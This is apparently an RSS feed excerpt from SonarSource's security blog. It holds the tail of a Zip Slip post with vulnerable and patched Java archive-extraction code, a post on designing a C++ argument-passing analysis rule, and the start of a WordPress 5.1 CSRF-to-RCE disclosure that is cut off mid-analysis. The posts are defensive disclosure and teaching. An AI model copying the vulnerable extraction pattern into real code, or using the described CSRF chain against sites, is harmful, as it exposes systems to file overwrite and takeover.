 2    import java.util.zip.ZipEntry;
 3    ⋮
 4    public void extract(ZipFile zip) {
 5        ⋮
 6        String toDir = &quot;/my/target/directory/&quot;;
 7        Enumeration entries = zip.entries();
 8        while (entries.hasMoreElements()) {
 9            ZipEntry zipEntry = entries.nextElement();
10            ⋮
11            File file = new File(toDir, zipEntry.getName())
12            InputStream istr = zipFile.getInputStream(zipEntry);
13            final OutputStream os = Files.newOutputStream(file.toPath());
14            bos  = new BufferedOutputStream(os);
15            IOUtils.copy(bis, bos);
16
17        }
18    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Not only  &lt;code&gt;java.util.zip.ZipEntry&lt;/code&gt; needs to be treated carefully, also the popular library &lt;code&gt;org.apache.commons.compress.archivers&lt;/code&gt; contains multiple &lt;code&gt;ArchiveEntry&lt;/code&gt; classes which pose a security risk if handled wrongly.&lt;/p&gt;&lt;p&gt;The following listing illustrates one way to circumvent this security issue. In line 11 a check is performed if the entry received from the ZIP file is within the intended target directory. If the canonical path of the file does not start with the path of the target directory a security exception is thrown. Note, that this fix is only complete if the attacker does not control the &lt;code&gt;toDir&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Patched Code Snippet&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    import java.util.zip.ZipFile;
 2    import java.util.zip.ZipEntry;
 3    ⋮
 4    public void extract(ZipFile zip) {
 5        ⋮
 6        String toDir = &quot;/my/target/directory/&quot;;
 7        Enumeration entries = zip.entries();
 8        while (entries.hasMoreElements()) {
 9            ZipEntry zipEntry = entries.nextElement();
10            ⋮
11            File file = new File(toDir, zipEntry.getName())
12            if( !file.getCanonicalPath().startsWith(toDir) ){
13                throw new SecurityException(&quot;ZipEntry not within target directory!&quot;);
14            }
15            InputStream istr = zipFile.getInputStream(zipEntry);
16            final OutputStream os = Files.newOutputStream(file.toPath());
17            bos  = new BufferedOutputStream(os);
18            IOUtils.copy(bis, bos);
19        }
20    }&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, we explained the risk behind the extraction of untrusted archives. This issue mostly results in remote code execution since arbitrary files can be overwritten with the permissions of the web server or corresponding user. Those bugs are already known for a long time but they are still present as the CVE’s (&lt;a href=&quot;https://confluence.atlassian.com/bitbucketserver/bitbucket-server-security-advisory-2019-05-22-969526871.html&quot;&gt;CVE-2019-3397&lt;/a&gt;,&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12309&quot;&gt; CVE-2019-12309&lt;/a&gt;) showed. With this blog post we want to raise awareness about the security risk when handling untrusted archives.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/osclass-remote-code-execution-via-image-file/&quot;&gt;osClass 3.6.1: Remote Code Execution via Image File&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[The NeverEnding Story of writing a rule for argument passing in C++]]></title><description><![CDATA[Here is a story of a rule, from concept to production. While the selected rule is for C++, this story contains interesting insight on the craft of rule development, no matter the target language.]]></description><link>https://www.sonarsource.com/blog/the-neverending-story-of-writing-a-rule-for-argument</link><guid isPermaLink="false">4e64bcef-fb0f-5ceb-964e-2d0c1d672c87</guid><dc:creator><![CDATA[Loïc Joly]]></dc:creator><pubDate>Wed, 15 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hello everybody,&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;My name is Loïc Joly, and I work for SonarSource, mostly focusing on developing the C/C++ static code analysis engine that runs in &lt;a href=&quot;https://www.sonarqube.org/&quot;&gt;SonarQube&lt;/a&gt; and &lt;a href=&quot;https://sonarcloud.io/about&quot;&gt;SonarCloud&lt;/a&gt;. I&amp;#x27;m also a member of the ISO C++ Committee, which defines the next versions of the C++ language.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this post, I&amp;#x27;ll show you how we introduced a new rule in our C++ analyzer. While this example is about a C++ rule, I believe that this post may contain interesting insight on the craft of rule development, even if your main language is not C++.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, welcome and listen to &lt;strong&gt;The NeverEnding Story of writing a rule for argument passing in C++...&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In C++, there are many ways to pass an argument into a function parameter. If the argument is only to be used as input, there are two ways of passing it:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You can pass it by value, which mean that the value of the argument will be copied into the parameter of the function&lt;/li&gt;&lt;li&gt;You can pass it by reference to const, meaning that from inside of the function, you will have direct access to the outside object, but since this access is read-only, you will not be able to alter it (except if stuff like &lt;code&gt;const_cast&lt;/code&gt; or &lt;code&gt;mutable&lt;/code&gt; enter the party, but this is out of scope for this discussion).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In terms of program state, these two ways of passing arguments are very similar (more on this later). Where they differ is in performance. Great, you&amp;#x27;ll say, which one is more efficient? Unfortunately, the answer is not so simple. The goal of this article is to show you the many steps we took while developing a rule related to this situation.&lt;/p&gt;&lt;h2&gt;What are the performance implications&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s see some code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct Student {
  int age;
  string name;
};
void displayStudent(std::ostream &amp;os, bool fullData, Student student){
  os &lt;&lt; student.name;
  if (fullData) {
    os &lt;&lt; &quot; (&quot; &lt;&lt; student.age &lt;&lt; &quot;)&quot;;
  }
}

void f() {
  Student s;
  // ...
  displayStudent(std::cout, true, s);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;displayStudent&lt;/code&gt; accepts 3 parameters:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;os&lt;/code&gt; is the stream where the data will be displayed. It is modified by the function, and therefore needs to be passed by reference. It is out of scope for this discussion.&lt;/li&gt;&lt;li&gt;&lt;code&gt;fullData&lt;/code&gt; is passed by value. This means that when the function is called, the boolean &lt;code&gt;true&lt;/code&gt; is copied into the &lt;code&gt;fullData&lt;/code&gt; variable.&lt;/li&gt;&lt;li&gt;&lt;code&gt;student&lt;/code&gt; is also passed by value, and s will also be copied into the &lt;code&gt;student&lt;/code&gt; variable.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While it looks harmless to copy a &lt;code&gt;bool&lt;/code&gt;, copying a &lt;code&gt;Student&lt;/code&gt; is a different story. It implies copying all the fields of this structure. One of this fields is a string, so copying it implies dynamic allocation of memory to store the characters in that string. This is a costly operation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the other hand, if the function is written this way:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void displayStudent(std::ostream &amp;os, bool const &amp;fullData, Student const &amp;student){
  os &lt;&lt; student.name; // Note that the body is identical
  if (fullData) {
    os &lt;&lt; &quot; (&quot; &lt;&lt; student.age &lt;&lt; &quot;)&quot;;
  }
}

void f() {
  Student s;
  // ...
  displayStudent(std::cout, true, s); // No changes at the call site either 
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then &lt;code&gt;fullData&lt;/code&gt; and &lt;code&gt;student&lt;/code&gt; would be passed as reference to const. This would be great for student. It is now no longer copied, and from inside the function, student is now an alias to &lt;code&gt;s&lt;/code&gt;, but one that cannot be used to modify &lt;code&gt;s&lt;/code&gt;. In order to perform that, the address of &lt;code&gt;s&lt;/code&gt; has probably been copied, but copying an address is cheap.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, what prevents us from passing all arguments by reference to const? Well, once again, it&amp;#x27;s performance, but it&amp;#x27;s slightly more subtle. For instance, if we passed &lt;code&gt;fullData&lt;/code&gt; as a &lt;code&gt;bool const &amp;amp;&lt;/code&gt;, it would mean that all accesses to this variable now become indirect access (what is manipulated internally is now the address of the variable, not its value) for no gain because copying a bool is at least as cheap as copying an address... Moreover, we are now facing the issue of aliasing. Let&amp;#x27;s take a dummy example to see the issue:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void f(int const &amp;in, int &amp;out) {
  if (in &gt; 10) {
    out = 3;
  }
  if (in &gt; 5) {
    g();
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The compiler might want to optimize the code like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void f(int const &amp;in, int &amp;out) {
  if (in &gt; 10) {
    out = 3;
    g();
  }
  else if (in &gt; 5) {
    g();
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But it cannot... For instance, if the code function is called that way:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int i = 12;
f(i, i);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The execution of both versions would yield a different result. We say that, in the function, &lt;code&gt;in&lt;/code&gt; and &lt;code&gt;out&lt;/code&gt; might be aliased, and refer to the same chunk of memory. And unless the compiler can prove that it will never happen (which it usually cannot), it prevents some optimization, even if the code is never called in the aliased context. And even for a human, it&amp;#x27;s easier to reason on code where different variables really are different.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The common guideline, in the C++ community, is therefore the following: If the type is cheap to copy, pass by value, otherwise, pass by reference to const, unless of course you have a good reason not to do so (this &lt;em&gt;unless&lt;/em&gt; clause obviously exists for all guidelines...).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We wanted to add to our &lt;a href=&quot;https://www.sonarsource.com/products/codeanalyzers/sonarcfamilyforcpp.html&quot;&gt;C/C++ analyzer&lt;/a&gt; a &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-1238&quot;&gt;rule&lt;/a&gt; that would help users make sure their code follows this guideline. But as you will see, even a seemingly simple guideline is not always turned easily into a rule verified by an automated tool.&lt;/p&gt;&lt;h2&gt;Strictly following the C++ Core Guidelines&lt;/h2&gt;&lt;p&gt;This rule matches the C++ Core Guideline F.16: &lt;a href=&quot;https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#f16-for-in-parameters-pass-cheaply-copied-types-by-value-and-others-by-reference-to-const&quot;&gt;For “in” parameters, pass cheaply-copied types by value and others by reference to const&lt;/a&gt;. So, we first implemented the rule as it is described here. The most difficult part of this rule, for a static analyzer tool, is to detect if a type is cheap to copy or not. Here, the proposed criteria is the size of the parameter type:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;(Simple) ((Foundation)) Warn when a parameter being passed by value has a size greater than 2 * sizeof(void*). Suggest using a reference to const instead.&lt;/li&gt;&lt;li&gt;(Simple) ((Foundation)) Warn when a parameter passed by reference to const has a size less than 2 * sizeof(void*). Suggest passing by value instead.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, when we looked at the results on real source code, this rule was triggered &lt;em&gt;very&lt;/em&gt; often, even in cases which we believed were perfectly valid. Worse, in some cases, changing the function as advised by the rule would have led to broken code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s see what those issues were, and how we tackled them.&lt;/p&gt;&lt;h2&gt;Excluding easy corner cases&lt;/h2&gt;&lt;p&gt;We first started by excluding some special cases from this rule.&lt;/p&gt;&lt;h3&gt;Prevent impossible solutions&lt;/h3&gt;&lt;p&gt;We should not advise to pass by value a non-copyable type. Or to pass by value the argument of a copy constructor (the purpose of this constructor is to &lt;em&gt;define&lt;/em&gt; what it means to copy an object of that type, so it cannot use copy). If a type is incomplete, there is not much that can be said about it, so we&amp;#x27;ll skip that too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of those were pretty basic examples, but they needed to be taken into account nevertheless.&lt;/p&gt;&lt;h3&gt;Templates&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;template&lt;class T&gt;
class f(T const &amp;t);

void g() {
  f(int{});
  f(string{});
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Should we advise to pass by value in this case, because T might be a large type? What if it is not? There are some techniques that allow defining a template function that works by copy when instantiated with small types, and by reference to const when instantiated with other, larger types (see for instance &lt;a href=&quot;https://www.boost.org/doc/libs/1_69_0/libs/utility/call_traits.htm&quot;&gt;boost::call_traits&amp;lt;T&amp;gt;::param_type&lt;/a&gt;). However, in most cases, it&amp;#x27;s overkill. So, we decided in the case of templates to simply ignore all parameters that are dependent.&lt;/p&gt;&lt;h3&gt;User-defined copy constructor&lt;/h3&gt;&lt;p&gt;We did not feel comfortable in relying only on the size of the object to estimate the cost to copy it. For instance, look at the following matrix class:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Matrix {
  short M;
  short N;
  double *data;
  // ...
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Its size is very small, smaller than 2 pointers, but copying it will be very expensive, since it involves copying all the doubles referenced by data (there might be thousands of them) in addition to the three bookkeeping variables M, N and data (and it also requires dynamic memory allocation). In order to avoid this situation, we decided to consider as large (and therefore requiring pass by reference to const) all classes with a non trivial copy constructor (we decided for nontrivial, instead of user-defined, because it also handles the case of a class with a Matrix member variable, even if this class does not itself define a copy constructor).&lt;/p&gt;&lt;h2&gt;Never advising to pass by copy&lt;/h2&gt;&lt;p&gt;Even after the classical clean-up phase, we had way too many violations. So we had another look at the situation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the most glaring issues of the rule was when it asked to pass by value a type which is part of a polymorphic hierarchy:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Shape {/*...*/};
class Circle : public Shape {/*...*/};
void draw(Shape const &amp;shape); // The rule asks to pass by value here&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, &lt;code&gt;Shape&lt;/code&gt; can be very small, but it has to be passed by reference to const, because copying a &lt;code&gt;Shape&lt;/code&gt; that is in fact a &lt;code&gt;Circle&lt;/code&gt; would slice the circle into a &lt;code&gt;Shape&lt;/code&gt; (assuming this is possible... If the class &lt;code&gt;Shape&lt;/code&gt; is abstract, it would only be a compilation error, which is far better than a silently sliced data).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another issue was more subtle:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#include &quot;framework/Color.h&quot;
void draw(Shape const &amp;s, Color c);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;How are you supposed to know if &lt;code&gt;Color&lt;/code&gt; is a large type or a small one? It&amp;#x27;s probably not too expensive to copy, but its exact size is not something you need to know all the time. And it might change on different platforms, with different framework versions, with different compiler options (even if it stays the same, our threshold depends on the size of a pointer, which may change). In fact, you can probably pass it by value, and it would be not too bad, or by reference to const, and it would be not too bad either.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What makes the matter worse, is that when a developer decides whether something is cheap to copy or not, he is usually not doing it for a variable, but for a type. If he decides that &lt;code&gt;c&lt;/code&gt; should be passed by copy, it means that he considers &lt;code&gt;Color&lt;/code&gt; cheap, and everywhere a &lt;code&gt;Color&lt;/code&gt; is passed, it will be the same way. However, we are detecting this issue when a function is declared. So we will mark as problematic all functions that take the &lt;code&gt;Color&lt;/code&gt; argument, and a developer who disagrees with this decision will have to manually ignore all those places. This would clearly not be a pleasant user experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We first played with the idea of a gray zone, where we would allow both pass-by-value and pass-by-reference-to-const, but finally we settled on something simpler. We will only detect &lt;em&gt;pass-by-value&lt;/em&gt; that should be replaced by &lt;em&gt;pass-by-reference-to-const&lt;/em&gt;, not the other way around. Why?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;We believe that the cost of passing by value when you should have passed by reference to const is an order of magnitude more important than the other way around. This is the real issue that we want to detect in the code, with as few false positives as possible.&lt;/li&gt;&lt;li&gt;For people who want to hunt for the extra performance gain of passing by value when appropriate, we can always create another rule later, which would not be in our default quality profile, because it would inevitably create quite a few false positives.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Ignore function declarations&lt;/h2&gt;&lt;p&gt;We have enough information when declaring a function to decide what kind of argument passing we consider the best. So, at the beginning, we raised issues on all function declarations. This had several negative impacts:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;We can raise the same issue several times, once for each declaration, once for the definition,&lt;/li&gt;&lt;li&gt;We can raise the issue on external code, that the developer has no control on. Detecting, automagically, that code is external is not reliable, and asking the user to consistently flag each file as internal or external would be tedious, so we wanted something else.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Therefore, we decided to raise the issue only on function definitions. You can still get the second issue on external inline functions, but in practice, this really helped in reducing the noise. But not enough...&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A nice side effect of this decision is that now, we may look at the function body, if we decide it may improve the rule.&lt;/p&gt;&lt;h2&gt;User-defined copy constructor, take 2&lt;/h2&gt;&lt;p&gt;There are many classes that have a user-defined copy constructor, but which are still rather cheap to copy. For instance:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Classes where the user defined a copy constructor, but it is useless. You should not do that, and follow the &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-4963&quot;&gt;rule of 0&lt;/a&gt; instead. But still, it happens...&lt;/li&gt;&lt;li&gt;Some copy constructors just increment a counter in debug mode to help profiling an application...&lt;/li&gt;&lt;li&gt;Some classes use copy-on-write (for instance the &lt;code&gt;QString&lt;/code&gt; class from Qt). For those cases, passing by reference to const would probably still be the most efficient way to work (it usually avoids taking a lock to increment a counter), but the cost of copying is not that huge and, more importantly, the users of those libraries are used to copying all the time, and even if they are wrong, they are probably not so wrong that it seriously endangers the performance of their program.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the end, we removed the requirement that a type with a non trivial constructor should be passed by reference to const.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are clearly not fully satisfied with that, but any other solution we thought about would have required looking at the body of the copy constructors (recursively for the member data) to try and guess what they were really doing. We believed it would be very error-prone, and that the cost-benefit analysis did not justify it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Moreover, this decision will remove some false positives, at the cost of introducing false negatives. We usually consider this an acceptable trade-off. In other words, instead of triggering the rule when we &lt;strong&gt;believed&lt;/strong&gt; you are passing by value an expensive data, we now trigger it when we &lt;strong&gt;know&lt;/strong&gt; this is the case.&lt;/p&gt;&lt;h2&gt;Future potential improvements&lt;/h2&gt;&lt;h3&gt;Templates&lt;/h3&gt;&lt;p&gt;Currently, we don&amp;#x27;t say anything about arguments in function templates that are dependent. But since in case of doubt it&amp;#x27;s usually better to pass by reference to const, we might say that as soon as one of the template instances requires passing by reference to const, we should require it for the base template.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, &amp;quot;usually better&amp;quot; does not mean &amp;quot;always better&amp;quot;. There might be situations when the template needs a lot of speed when instantiated with small types, and not care that much when it is instantiated with more heavyweight types. This is why we decided not to implement this part before getting some feedback on the rule as it is now.&lt;/p&gt;&lt;h3&gt;User-defined constructor, take 3?&lt;/h3&gt;&lt;p&gt;We might come up with some brilliant idea that would allow us to statically decide if a copy constructor is cheap or not. Or we may totally revisit the decisions we have taken and try a different approach. We know we have a direction for improvement here.&lt;/p&gt;&lt;h3&gt;Useful copies&lt;/h3&gt;&lt;p&gt;There are some cases when passing by value is more efficient than passing by reference to const. Even if the type is expensive to copy. It&amp;#x27;s when you want to change the object, but keep the original untouched:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int mean(vector&lt;int&gt; data) {
  // Not the good algorithm. Just for exposition...
  std::sort(data.begin(), data.end()); // Modifies data in place
  return data[data.size()/2];
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In that case, you will need to make a copy anyway, so you might as well do it in the parameters. Doing it that way even prevents the copy sometimes:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;vector&lt;int&gt; readData();
int f() {
  return mean(readData());
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In that case, the argument of &lt;code&gt;mean&lt;/code&gt; is the temporary value returned from &lt;code&gt;readData&lt;/code&gt;. At the point of copying the argument into the parameter, the compiler knows that, and since it is temporary, instead of performing an expensive copy, it will do a much cheaper move.&lt;/p&gt;&lt;p&gt;If you had written the function like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int mean(vector&lt;int&gt; const &amp;data) {
  auto copy = data;
  // Not the good algorithm. Just for exposition...
  std::sort(copy.begin(), copy.end()); // Modifies copy in place
  return copy[copy.size()/2];
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At the time the copy is performed, the compiler has lost the information that data is in fact a reference to a temporary, and that its internal state can be stolen. It will therefore copy, and miss the opportunity to move.&lt;/p&gt;&lt;p&gt;Another option in this case would be to write two overloads of the function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int mean(vector&lt;int&gt; const &amp;data);
int mean(vector&lt;int&gt; &amp;&amp;data);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But passing by copy works just as well, is simpler and more concise.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The problem is that we don&amp;#x27;t detect this case, and we will ask the user to pass by reference to const instead. This is a known false positive case for our rule (and is documented as such).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One axis of improvement would then be to detect that the function parameter is modified inside of the function. Unfortunately, detecting that is not so simple in C++. It&amp;#x27;s probably mathematically impossible to do so in all cases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can probably get good approximations, but we did not want to delay this rule, and decided to keep this as a possible future improvement, when we also have feedback on the rule&amp;#x27;s perception by our users.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;I wanted to share with you that when writing a rule, the most difficult part is not the code itself, but the specification of the rule, the corner cases that you will need to tackle and the gray zone for which no clear decision exist, but which nevertheless requires a decision.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All in all, we hope that &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-1238&quot;&gt;this rule&lt;/a&gt; I described here, along with the &lt;a href=&quot;https://www.sonarsource.com/resources/product-news/news.html#sonarcfamily-62&quot;&gt;other rules we have recently implemented&lt;/a&gt;, will allow our products to help you write consistently better code. Please give us your feedback on &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-the-neverending-story-of-writing-a-rule-for-argument-passing-in-c/9762&quot;&gt;our community forum&lt;/a&gt;. Thanks for reading!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress 5.1 CSRF to Remote Code Execution]]></title><description><![CDATA[This blog post reveals another critical exploit chain for WordPress 5.1 that enables an unauthenticated attacker to gain remote code execution (CVE-2019-9787).]]></description><link>https://www.sonarsource.com/blog/wordpress-csrf-to-rce</link><guid isPermaLink="false">9d5eb784-f61c-5519-bb91-2f963fb57ecc</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Wed, 13 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last month we released an authenticated remote code execution (RCE) vulnerability in WordPress 5.0. This blog post reveals another critical exploit chain for WordPress 5.1 that enables an &lt;strong&gt;unauthenticated &lt;/strong&gt;attacker to gain remote code execution on any WordPress installation prior to version &lt;strong&gt;5.1.1 &lt;/strong&gt;(CVE-2019-9787).&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;An attacker can take over any WordPress site that has comments enabled by tricking an administrator of a target blog to visit a website set up by the attacker. As soon as the victim administrator visits the malicious website, a cross-site request forgery (CSRF) exploit is run against the target WordPress blog in the background, without the victim noticing. The CSRF exploit abuses multiple logic flaws and sanitization errors that when combined lead to Remote Code Execution and a full site takeover.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities exist in WordPress versions prior to &lt;strong&gt;5.1.1&lt;/strong&gt; and is exploitable with default settings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress is used by over 33% of all websites on the internet, according to its own download page. Considering that comments are a core feature of blogs and are enabled by default, the vulnerability affected millions of sites.&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/3Rx0xFWtSsA&quot;&gt;wordpress csrf to rce&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;CSRF in comment form leads to HTML injection&lt;/h3&gt;&lt;p&gt;WordPress performs no CSRF validation when a user posts a new comment. This is because some WordPress features such as &lt;a href=&quot;https://make.wordpress.org/support/user-manual/building-your-wordpress-community/trackbacks-and-pingbacks/&quot;&gt;trackbacks and pingbacks&lt;/a&gt; would break if there was any validation. This means an attacker can create comments in the name of administrative users of a WordPress blog via CSRF attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This can become a security issue since administrators of a WordPress blog are allowed to use arbitrary HTML tags in comments, even &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags. In theory, an attacker could simply abuse the CSRF vulnerability to create a comment containing malicious JavaScript code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress tries to solve this problem by generating an extra nonce for administrators in the comment form. When the administrator submits a comment and supplies a valid nonce, the comment is created without any sanitization. If the nonce is invalid, the comment is still created but is sanitized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following simplified code snippet shows how this is handled in the WordPress core:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-includes/comment.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;3240    if ( current_user_can( &apos;unfiltered_html&apos; ) ) {
3241        if (! wp_verify_nonce( $_POST[&apos;_wp_unfiltered_html_comment&apos;], &apos;unfiltered-html-comment&apos; )) {
3242            $_POST[&apos;comment&apos;] = wp_filter_post_kses($_POST[&apos;comment&apos;]);
3243        }
3244    } else {
3245        $_POST[&apos;comment&apos;] = wp_filter_kses($_POST[&apos;comment&apos;]);
3246    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The fact that no CSRF protection is implemented for the comment form has been known since &lt;a href=&quot;https://core.trac.wordpress.org/ticket/10931&quot;&gt;2009&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, we discovered a logic flaw in the sanitization process for administrators. As you can see in the above code snippet, the comment is always sanitized with&lt;code&gt; wp_filter_kses()&lt;/code&gt;, unless the user creating the comment is an administrator with the &lt;code&gt;unfiltered_html&lt;/code&gt; capability. If that is the case &lt;em&gt;and&lt;/em&gt; no valid nonce is supplied, the comment is sanitized with &lt;code&gt;wp_filter_post_kses()&lt;/code&gt; instead (line 3242 of the above code snippet).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The difference between &lt;code&gt;wp_filter_post_kses()&lt;/code&gt; and &lt;code&gt;wp_filter_kses()&lt;/code&gt; lies in their strictness. Both functions take in the unsanitized comment and leave only a selected list of HTML tags and attributes in the string. Usually, comments are sanitized with &lt;code&gt;wp_filter_kses()&lt;/code&gt; which only allows very basic HTML tags and attributes, such as the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag in combination with the &lt;code&gt;href&lt;/code&gt; attribute.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows an attacker to create comments that can contain much more HTML tags and attributes than comments should usually be allowed to contain. However, although &lt;code&gt;wp_filter_post_kses()&lt;/code&gt; is much more permissive, it still removes any HTML tags and attributes that could lead to Cross-Site-Scripting vulnerabilities.&lt;/p&gt;&lt;h3&gt;Escalating the additional HTML injection to a Stored XSS&lt;/h3&gt;&lt;p&gt;The fact that we can inject additional HTML tags and attributes still leads to a stored XSS vulnerability in the WordPress core. This is because some attributes that usually can’t be set in comments are parsed and manipulated in a faulty way that leads to an arbitrary attribute injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After WordPress is done sanitizing the comment it will modify &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags within the comment string to optimize them for SEO purposes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is done by parsing the attribute string (e.g. &lt;code&gt;href=&amp;quot;#&amp;quot; title=&amp;quot;some link&amp;quot; rel=&amp;quot;nofollow&amp;quot;&lt;/code&gt;) of the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags into an associative array (line 3004 of the following snippet), where the key is the name of an attribute and the value the attribute 